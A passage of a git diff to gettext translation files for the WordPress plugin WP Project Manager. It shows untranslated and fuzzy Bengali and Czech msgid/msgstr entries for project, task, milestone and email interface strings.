+#: views/assets/src/components/project-task-lists/new-task-list-form.vue:79 +msgid "Add List" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:169 +msgid "Delete this message" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:170 +msgid "Make it private" +msgstr "" + +#: views/assets/src/components/project-discussions/mixin.js:558 +msgid "Are you sure to delete this comment?" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:61 +msgid "Enter message title" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:62 +msgid "Add Message" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:63 +#: views/emails/html/update-message.php:12 +msgid "Update Message" +msgstr "" + +#: views/assets/src/components/project-lists/header.vue:56 +msgid "Start a new project" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:125 +msgid "Name of the project" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:126 +msgid "Some details about the project (optional)" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:127 +msgid "Search users..." +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:129 +msgid "Add New Project" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:130 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:131 +msgid "Client" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "" + +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "" + +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "" + +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "" + +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "" + +#: views/assets/src/components/project-milestones/new-milestone-form.vue:100 +msgid "Milestone title required!" +msgstr "" + +#: views/assets/src/components/project-overview/addNewUser.vue:51 +msgid "Create" +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:720 +#: views/assets/src/components/project-task-lists/single-task.vue:65 +msgid "Make Visible" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-form.vue:277 +msgid "Add a new task" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-form.vue:278 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-form.vue:279 +msgid "Start Date" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-form.vue:281 +msgid "Select User" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-form.vue:282 +msgid "Update Task" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-form.vue:284 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-form.vue:434 +#: views/assets/src/components/project-task-lists/single-task.vue:530 +#: views/assets/src/components/project-task-lists/single-task.vue:536 +msgid "Maxmim character limit 200" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:77 +msgid "Task list details" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:78 +msgid "Update List" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:465 +msgid "Delete List" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:41 +msgid "Mark Complete" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:47 +msgid "Created by" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:59 +msgid "Copy Link" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:113 +msgid "Task List:" +msgstr "কার্য তালিকা" + +#: views/assets/src/components/project-task-lists/single-task.vue:261 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:390 +msgid "Update Description" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:646 +msgid "Copied!" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:878 +msgid "Invalid date range!" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:1034 +msgid "Task marked as private" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:1036 +msgid "Task visible for co-worker" +msgstr "" + +#: views/assets/src/components/pusher/settings.vue:69 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:120 +#: views/assets/src/components/settings/pusher.vue:69 +#: views/assets/src/components/settings/usersmap.vue:48 +msgid "Save Changes" +msgstr "" + +#: views/assets/src/components/settings/new-task-type-form.vue:187 +msgid "Type name required!" +msgstr "" + +#: views/assets/src/components/settings/task-type-item.vue:58 +msgid "Are you sure!" +msgstr "" + +#: views/assets/src/components/settings/usersmap.vue:6 +msgid "Users Map to Github & Bitbucket" +msgstr "" + +#: views/assets/src/components/welcome/WelcomeBanner.vue:16 +msgid "Filter, edit, update or take" +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:10 +msgid "Import" +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:11 +msgid "Effortlessly import projects and project tasks from" +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:12 +msgid "other platforms to manage them at one place." +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:16 +msgid "Import Now" +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:46 +msgid "" +"Get upgraded to Pro version to unlock endless opportunities of managing your " +"project better." +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:47 +msgid "Upgrade to Pro" +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:54 +msgid "" +"Enhance your project management performance with extended features in the " +"pro version." +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:55 +msgid "View Pro features" +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:62 +msgid "" +"Check out all the useful modules that would take your project management " +"experience to a whole new level." +msgstr "" + +#: views/assets/src/components/welcome/resources.vue:63 +msgid "Go to Modules" +msgstr "" + +#: views/assets/src/helpers/mixin/mixin.js:1004 +msgid "Are you sure to delete this project?" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:29 +msgid "Changed by" +msgstr "" + +#: views/emails/html/complete-task.php:40 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +#: views/emails/html/complete-task.php:58 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +msgid "View Comment" +msgstr "" + +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:49 views/emails/html/update-message.php:49 +msgid "View Message" +msgstr "" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-message.php:19 +msgid "Message Updated By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +#: views/emails/html/update-task.php:18 +msgid "Updated By" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" diff --git a/languages/wedevs-project-manager-cs_CZ.po b/languages/wedevs-project-manager-cs_CZ.po index e5ea592e8..e496926c1 100644 --- a/languages/wedevs-project-manager-cs_CZ.po +++ b/languages/wedevs-project-manager-cs_CZ.po @@ -1,2352 +1,2352 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager v0.4.3\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:45+0600\n" -"Last-Translator: Jaroslav Ondra \n" -"Language-Team: dudlajda \n" -"Language: cs_CZ\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;\n" -"X-Generator: Poedit 2.0.8\n" -"X-Poedit-SourceCharset: UTF-8\n" -"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" -"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" -"X-Poedit-Basepath: ..\n" -"X-Textdomain-Support: yes\n" -"X-Poedit-SearchPath-0: .\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Zpráva" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Seznam úkolů" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Úkol" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Soubory" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Aktualizovat projekt" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -# @ cpm -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Načíst další" - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -# @ default -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Povolené soubory" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -# @ cpm -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Možnosti" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -# @ cpm -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Manažer projektu" - -# @ cpm -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projekty" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -# @ cpm -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "Podrobosti seznamu úkolů" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -# @ cpm -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s komentoval %s" - -# @ cpm -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s komentoval %s" - -# @ cpm -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s aktualizoval komentář k %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s aktualizoval komentář k %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s komentoval %s" - -# @ cpm -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s komentoval %s" - -# @ cpm -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s aktualizoval komentář k %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -# @ cpm -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s komentoval %s" - -# @ cpm -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s aktualizoval komentář k %s" - -# @ cpm -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s aktualizoval komentář k %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -# @ cpm -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Projekt" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -# @ cpm -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Seznam úkolů" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -# @ cpm -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Cíl" - -# @ cpm -#: texts/resource_types.php:20 -#, fuzzy -#| msgid "%d comment" -#| msgid_plural "%d comments" -msgid "comment" -msgstr "%d komentář" - -# @ cpm -#: texts/resource_types.php:23 -#, fuzzy -#| msgid "%d file" -#| msgid_plural "%d files" -msgid "file" -msgstr "%d soubor" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -# @ cpm -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Nebyly nalezeny žádné komentáře" - -# @ cpm -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Žádný projekt nebyl nalezen" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -# @ cpm -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Jste si jist(a)?" - -# @ cpm -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Jste si jist(a), že chcete odstranit tento projekt?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: 